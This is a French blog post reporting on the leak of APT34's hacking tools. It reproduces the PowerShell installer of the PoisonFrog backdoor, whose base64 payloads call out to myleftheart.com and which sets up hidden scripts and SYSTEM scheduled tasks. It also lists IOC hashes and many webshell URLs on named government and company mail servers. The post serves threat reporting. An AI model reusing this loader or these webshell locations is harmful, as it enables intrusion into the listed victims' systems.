APT 34 piraté – 18 Mo de données dans la nature

Bonjour tout le monde,

Il y a peu de temps, je vous parlais d’un groupe de pirates de haut vol, très probablement affiliés au gouvernement chinois (pour ceux qui voudraient lire l’article en question, c’est par ici que ça se passe).

Pendant la rédaction de l’article précédent, je m’étais beaucoup documenté sur ces groupes “APT” qui sont pour la plupart sponsorisés par un état “non allié” (Russie, Chine, Iran, Corée Du Nord…).
Ce que je trouve paradoxal c’est que sur des sites comme FireEye ou CrowdStrike qui sont normalement spécialisés là dedans on ne retrouve pas de groupes APT qui seraient issus d’un gouvernement “allié”.

Je ne trouve pas ça très transparent, surtout quand on sait de quoi sont capables des puissances “alliées” comme les États-Unis ou le Royaume-Uni. Il n’y a qu’à rappeler le scandale du piratage d’Equation Group par Shadow Brokers qui a occasionné une fuite d’exploits et de kits qui ont, entre autres, engendrés ce véritable carnage qu’a été WannaCry.

Cela me fait une belle transition pour parler de cette fuite de données, qu’a subit APT34 (OilRig, Helix Kitten) un groupe de hacker de haut vol suspectés d’appartenir au gouvernement iranien.

image

Le truc le plus dingue, c’est qu’en plus des outils de piratage, notre cher Dookhtegan a également publié des données sur certaines des victimes du piratage qui semblent appartenir à APT34, notamment des identifiants et des mots de passe qui semblent être collectées via des pages de phishing.

image

Ainsi que des informations sur certains membres des services de renseignement iraniens

image

À en juger par son attaque contre les intérêts iraniens, on peut supposer qu’il s’agisse là de la riposte d’un autre gouvernement aux attaques d’APT 34:

image

L’archive ressemble à ceci:

image

Jusqu’à présent, le ou les pirates ont fait fuiter le code source de six outils de piratage, ainsi que celui de plusieurs Webshells.

image

Les outils de piratage qui ont fuités sont les suivants:

– PoisonFrog (ancienne version de BondUpdater)

– HyperShell (un webshell nommée TwoFace)

– HighShell (un autre Webshell)

– Webmask (ou comment transformer n’importe quel serveur Debian en agrégateur de la NSA avec DNSpionage)

Analyse des outils:

Poisonfrog

En deux parties (client et serveur):

client

On pourra d’ailleurs remarquer que le client est écrit en Node.JS et que la partie serveur en Powershell:

serveur

${global:$address1} = $env:PUBLIC + "\Public";
${global:$dns_ag} = "JENDQSA9ICJteWxlZnRoZWFydC5jb20iOw0KJEREQSA9IGdldC13bWlvYmplY3QgV2luMzJfQ29tcHV0ZXJTeXN0ZW1Qcm9kdWLUVuY29kaW5nIEJ5dGU7DQoJJGUgPSByZXNvbHZlcigkZik7DQoXN0LVBhdGggLVBhdGggJHtnbG9iYWw6JFNTQn0pIC1vciAtbm90IChUZXN0LVBhdGggLVBhdGggJHtnbG9iYWw6JEFBQn0pKQ0Kew0KCW1kICR7Z2xvYmFsOiRTU0J9Ow0KCW1kICR7Z2xvYmFsOiRBQUJ9Ow0KCW1kICR7Z2xvYmFsOiRRUUF9Ow0KCW1kICR7Z2xvYmFsOiRUVEJ9Ow0KfQ0KcmVjZWl2ZTsNCnByb2Nlc3NvcjsNCnNlbmQ7";
${global:$http_ag} = "JEJCQSA9ICJodHRwOi8vIiArIFtTeXN0ZW0uTmV0LkRuc106OkdldEhvc3RBZGRyZXNzZXMoIm15bGVmdGhlYXJ0LmNvbSIpDQoke2dsb2JhbDokQ0NBfSA9IG5ldy1vYmplY3Qgc3lzdGVtLm5ldC5XZWJDbGllbnQNCiR0ID0gZ2V0LXdtaW9iamVjdCBXaW4zMAtZXEgIjEiKSB7DQoJCQkJJHIgPSAkdHJ1ZTsNCgkJCX0NCgkJCWlmKCRUVEEgLW5lICJub3QiIC1hbmQgJFRUQSkgew0KCQkJCSR7Z2xvYmFsOiRDQ0F9LlVwbG9hZEZpbGUoIiRCQkEvcmVzLyRQUEEkVFRBIiwgJHApOw0KCQkJCVJlbW92ZS1JdGVtICRwIC1Gb3JjZQ0KCQkJfQ0KCQl9DQoJfQ0KfQ==";
 
if (-not (Test-Path -Path ${global:$address1}))
{md ${global:$address1}; Get-Item ${global:$address1} -Force | %{$_.attributes = "Hidden"}}
if (Test-Path -Path ${global:$address1})
{
    [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String([string]${global:$http_ag})) | Set-Content "${global:$address1}\hUpdater.ps1";
    [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String([string]${global:$dns_ag})) | Set-Content "${global:$address1}\dUpdater.ps1";
    "command0 = `"Powershell.exe -exec bypass -file ${global:$address1}\hUpdater.ps1`"`nset Shell0 = CreateObject(`"wscript.shell`")`nshell0.run command0, 0, false`ncommand1 = `"Powershell.exe -exec bypass -file ${global:$address1}\dUpdater.ps1`"`nset Shell1 = CreateObject(`"wscript.shell`")`nshell1.run command1, 0, false" | Out-File "${global:$address1}\UpdateTask.vbs"
    schtasks /create /F /sc minute /mo 10 /tn "\UpdateTasks\UpdateTask" /tr "wscript /b \`"${global:$address1}\UpdateTask.vbs\`"";
    schtasks /create /F /ru SYSTEM /sc minute /mo 10 /tn "\UpdateTasks\UpdateTaskHosts" /tr "wscript /b \`"${global:$address1}\UpdateTask.vbs\`"";
}

En faisant l’analyse du code de la partie agent (ou serveur), on peut voir qu’il contient deux variables encodées en base64, qui chargent ce qui semble être le premier étage de la charge utile. Il récupère le fichier de configuration à partir de “myleftheart.com” (maintenant fermé), crée un ensemble de dossiers dans “C: \ Utilisateurs \ Public \ Public” et fini en supprimant le fichier. Il crée également deux tâches planifiées, l’une avec des privilèges d’administrateur et l’autre avec des droits d’utilisateur normaux, qui exécuteront deux scripts PowerShell: dUpdater.ps1 et hUpdater.ps toutes les 10 minutes.

Un fichier de configuration du payload contiendra ces identifiants d’accès:

image

Les Webshells

Du côté des webshells, on dispose du code de quatre Webshells utilisés largement par le groupe:

Webmask / DNSpionage

Il s’agit d’un serveur ICAP accompagné des scripts d’installations qui semble pouvoir recevoir tous types de données, telles que des identifiants, des cookies …

Les autres fichiers contiennent de nombreuses clés privées et identifiants d’utilisateurs, ainsi que des identifiants Active Directory pour de nombreux domaines le tout trié par cibles:

Le reste des informations concerne des membres présumés du groupe dont des profils linkedin, des photos, des numéros de téléphones, des mails…

Les IOC:

27e03b98ae0f6f2650f378e9292384f1350f95ee4f3ac009e0113a8d9e2e14ed
b1d621091740e62c84fc8c62bcdad07873c8b61b83faba36097ef150fd6ec768
2943e69e6c34232dee3236ced38d41d378784a317eeaf6b90482014210fcd459
07e791d18ea8f2f7ede2962522626b43f28cb242873a7bd55fff4feb91299741
dd6d7af00ef4ca89a319a230cdd094275c3a1d365807fe5b34133324bdaa0229
3ca3a957c526eaeabcf17b0b2cd345c0fffab549adfdf04470b6983b87f7ec62
c9d5dc956841e000bfd8762e2f0b48b66c79b79500e894b4efa7fb9ba17e4e9e
a6a0fbfee08367046d3d26fb4b4cf7779f7fb6eaf7e60e1d9b6bf31c5be5b63e
fe1b011fe089969d960d2dce2a61020725a02e15dbc812ee6b6ecc6a98875392

Les accès Webshells:

hxxps://202.183.235.31/owa/auth/signout.aspx
hxxps://202.183.235.4/owa/auth/signout.aspx
hxxps://122.146.71.136/owa/auth/error3.aspx
hxxps://59.124.43.229/owa/auth/error0.aspx
hxxps://202.134.62.169/owa/auth/signin.aspx
hxxps://202.164.27.206/owa/auth/signout.aspx
hxxps://213.14.218.51/owa/auth/logon.aspx
hxxps://88.255.182.69/owa/auth/getidtoken.aspx
hxxps://95.0.139.4/owa/auth/logon.aspx
hxxps://1.202.179.13/owa/auth/error1.aspx
hxxps://1.202.179.14/owa/auth/error1.aspx
hxxps://114.255.190.1/owa/auth/error1.aspx
hxxps://180.166.27.217/owa/auth/error3.aspx
hxxps://180.169.13.230/owa/auth/error1.aspx
hxxps://210.22.172.26/owa/auth/error1.aspx
hxxps://221.5.148.230/owa/auth/outlook.aspx
hxxps://222.178.70.8/owa/auth/outlook.aspx
hxxps://222.66.8.76/owa/auth/error1.aspx
hxxps://58.210.216.113/owa/auth/error1.aspx
hxxps://60.247.31.237/owa/auth/error3.aspx
hxxps://60.247.31.237/owa/auth/logoff.aspx
hxxps://202.104.127.218/owa/auth/error1.aspx
hxxps://202.104.127.218/owa/auth/exppw.aspx
hxxps://132.68.32.165/owa/auth/logout.aspx
hxxps://132.68.32.165/owa/auth/signout.aspx
hxxps://209.88.89.35/owa/auth/logout.aspx
hxxps://114.198.235.22/owa/auth/login.aspx
hxxps://114.198.237.3/owa/auth/login.aspx
hxxps://185.10.115.199/owa/auth/logout.aspx
hxxps://195.88.204.17/owa/auth/logout.aspx
hxxps://46.235.95.125/owa/auth/signin.aspx
hxxps://51.211.184.170/owa/auth/owaauth.aspx
hxxps://91.195.89.155/owa/auth/signin.aspx
hxxps://82.178.124.59/owa/auth/gettokenid.aspx
hxxps://83.244.91.132/owa/auth/logon.aspx
hxxps://195.12.113.50/owa/auth/error3.aspx
hxxps://78.100.87.199/owa/auth/logon.aspx
hxxps://110.74.202.90/owa/auth/errorff.aspx
hxxps://211.238.138.68/owa/auth/error1.aspx
hxxps://168.63.221.220/owa/auth/error3.aspx
hxZps://213.189.82.221/owa/auth/errorff.aspx
hxxps://205.177.180.161/owa/auth/erroref.aspx
hxxps://77.42.251.125/owa/auth/logout.aspx
hxxps://202.175.114.11/owa/auth/error1.aspx
hxxps://202.175.31.141/owa/auth/error3.aspx
hxxps://213.131.83.73/owa/auth/error4.aspx
hxxps://187.174.201.179/owa/auth/error1.aspx
hxxps://200.33.162.13/owa/auth/error3.aspx
hxxps://202.70.34.68/owa/auth/error0.aspx
hxxps://202.70.34.68/owa/auth/error1.aspx
hxxps://197.253.14.10/owa/auth/logout.aspx
hxxps://41.203.90.221/owa/auth/logout.aspx
hxxp://www.abudhabiairport.ae/english/resources.aspx
hxxps://mailkw.agility.com/owa/auth/RedirSuiteService.aspx
hxxp://www.ajfd.gov.ae/_layouts/workpage.aspx
hxxps://mail.alfuttaim.ae/owa/auth/change_password.aspx
hxxps://mail.alraidah.com.sa/owa/auth/GetLoginToken.aspx
hxxp://www.alraidah.com.sa/_layouts/WrkSetlan.aspx
hxxps://webmail.alsalam.aero/owa/auth/EventClass.aspx
hxxps://webmail.bix.bh/owa/auth/Timeoutctl.aspx
hxxps://webmail.bix.bh/owa/auth/EventClass.aspx
hxxps://webmail.bix.bh/ecp/auth/EventClass.aspx
hxxps://webmail.citc.gov.sa/owa/auth/timeout.aspx
hxxps://mail.cma.org.sa/owa/auth/signin.aspx
hxxps://mail.dallah-hospital.com/owa/auth/getidtokens.aspx
hxxps://webmail.dha.gov.ae/owa/auth/outlookservice.aspx
hxxps://webmail.dnrd.ae/owa/auth/getidtoken.aspx
hxxp://dnrd.ae:8080/_layouts/WrkStatLog.aspx
hxxps://www.dns.jo/statistic.aspx
hxxps://webmail.dsc.gov.ae/owa/auth/outlooklogonservice.aspx
hxxps://e-albania.al/dptaktkonstatim.aspx
hxxps://owa.e-albania.al/owa/auth/outlookdn.aspx
hxxps://webmail.eminsco.com/owa/auth/outlookfilles.aspx
hxxps://webmail.eminsco.com/owa/auth/OutlookCName.aspx
hxxps://webmail.emiratesid.ae/owa/auth/RedirSuiteService.aspx
hxxps://mailarchive.emiratesid.ae/EnterpriseVault/js/jquery.aspx
hxxps://webmail.emiratesid.ae/owa/auth/handlerservice.aspx
hxxp://staging.forus.jo/_layouts/explainedit.aspx
hxxps://government.ae/tax.aspx
hxxps://formerst.gulfair.com/GFSTMSSSPR/webform.aspx
hxxps://webmail.ictfund.gov.ae/owa/auth/owaauth.aspx
hxxps://jaf.mil.jo/ShowContents.aspx
hxxp://www.marubi.gov.al/aspx/viewpercthesaurus.aspx
hxxps://mail.mindware.ae/owa/auth/outlooktoken.aspx
hxxps://mail.mis.com.sa/owa/auth/Redirect.aspx
hxxps://webmail.moe.gov.sa/owa/auth/redireservice.aspx
hxxps://webmail.moe.gov.sa/owa/auth/redirectcache.aspx
hxxps://gis.moei.gov.ae/petrol.aspx
hxxps://gis.moenr.gov.ae/petrol.aspx
hxxps://m.murasalaty.moenr.gov.ae/signproces.aspx
hxxps://mail.mofa.gov.iq/owa/auth/RedirSuiteService.aspx
hxxp://ictinfo.moict.gov.jo/DI7Web/libraries/aspx/RegStructures.aspx
hxxp://www.mpwh.gov.jo/_layouts/CreateAdAccounts.aspx
hxxps://mail.mygov.ae/owa/auth/owalogin.aspx
hxxps://ksa.olayan.net/owa/auth/signin.aspx
hxxps://mail.omantourism.gov.om/owa/auth/GetTokenId.aspx
hxxps://email.omnix-group.com/owa/auth/signon.aspx
hxxps://mail.orange-jtg.jo/OWA/auth/signin.aspx
hxxp://fwx1.petra.gov.jo/SEDCOWebServer/global.aspx
hxxp://fwx1.petranews.gov.jo/SEDCOWebServer/content/rtl/QualityControl.aspx
hxxps://webmail.presflt.ae/owa/auth/logontimeout.aspx
hxxps://webmail.qchem.com/OWA/auth/RedirectCache.aspx
hxxps://meet.saudiairlines.com/ClientResourceHandler.aspx

Même si 18 Mo ont l’air de rien comme ça, il s’agit d’une fuite très critique étant donné la nature très sensible (voire secret défense) des informations dont elle fait l’objet.

Grâce à ces fuites on comprend mieux comment ce groupe opère. On sait par exemple à quoi ressemble leur serveur de contrôle et de commande et comment ils commandent les hôtes infectés: une interface Web dédiée nommée ScareCrow est utilisée (Épouvantail pour les plus Anglophobes 🙂 )

En bref, affaire à suivre donc

sources

https://malware-research.org/apt34-hacking-tools-leak/
https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html
https://bbs.pediy.com/thread-250874.htm

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *

*
*